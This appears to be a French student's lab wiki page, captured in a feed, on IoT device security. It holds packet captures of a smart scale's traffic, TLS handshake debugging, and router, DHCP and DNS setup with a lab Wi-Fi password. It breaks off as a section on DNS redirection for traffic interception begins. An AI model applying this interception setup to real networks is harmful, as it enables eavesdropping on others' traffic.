.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.674677 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i&amp;gt;#tB./..P.........&lt;br /&gt;
12:36:48.993649 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
ir...P.............&lt;br /&gt;
12:36:49.311055 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:49.490922 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i.......x....D.....&lt;br /&gt;
12:36:49.492262 ARP, Reply 172.16.10.105 is-at a4:e5:7c:16:2d:4c (oui Unknown), length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i..&amp;gt;#tB..&lt;br /&gt;
...................&lt;br /&gt;
12:36:49.515651 IP 172.16.10.105.29415 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6536, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O...&lt;br /&gt;
i..&lt;br /&gt;
.r.&amp;quot;.........`...kZ........&lt;br /&gt;
12:36:49.515669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.29415: Flags [R.], seq 0, ack 6537, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.r.........P.......&lt;br /&gt;
12:36:49.518628 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [S], seq 6539, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]..........`.............&lt;br /&gt;
12:36:49.518648 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [S.], seq 1378912894, ack 6540, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0.~....`...l.......&lt;br /&gt;
12:36:49.523505 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O0..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P........a3.tu&lt;br /&gt;
12:36:49.527055 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P...G?......&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:49.527081 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..X..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.527462 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@..P..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l.........(&lt;br /&gt;
12:36:49.527530 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..V..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.569636 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(......O...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........C.@&lt;br /&gt;
12:36:49.574893 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........&lt;br /&gt;
..&lt;br /&gt;
12:36:50.310055 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i........ ....&amp;gt;....&lt;br /&gt;
12:36:53.526624 IP 172.16.10.105.48314 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6547, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;amp;..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...!|........&lt;br /&gt;
12:36:53.526669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.48314: Flags [R.], seq 0, ack 6548, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...JA..&lt;br /&gt;
12:36:54.536817 IP 172.16.10.105.44185 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6567, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O%..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...1.........&lt;br /&gt;
12:36:54.536835 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.44185: Flags [R.], seq 0, ack 6568, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...ZN..&lt;br /&gt;
12:36:55.545631 IP 172.16.10.105.26626 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6589, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O$..&lt;br /&gt;
i..&lt;br /&gt;
.h.&amp;quot;.........`...v&lt;br /&gt;
........&lt;br /&gt;
12:36:55.545649 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.26626: Flags [R.], seq 0, ack 6590, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.h.........P.......&lt;br /&gt;
12:36:56.554680 IP 172.16.10.105.16244 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6611, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O#..&lt;br /&gt;
i..&lt;br /&gt;
.?t&amp;quot;.........`.............&lt;br /&gt;
12:36:56.554698 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.16244: Flags [R.], seq 0, ack 6612, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.?t........P....G..&lt;br /&gt;
^C&lt;br /&gt;
57 packets captured&lt;br /&gt;
57 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;port 8886 chez tuya ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 00 00 00 00   d6aG91IFR1eV....&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 00   ...:..BAohBAohb.&lt;br /&gt;
0010 - 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 00 00 00 00-00 00 00 00 00 00 00 00   d6aG............&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10909</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10909"/>
		<updated>2025-12-02T14:25:04Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Nedis Wi-Fi Smart Personal Scales */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
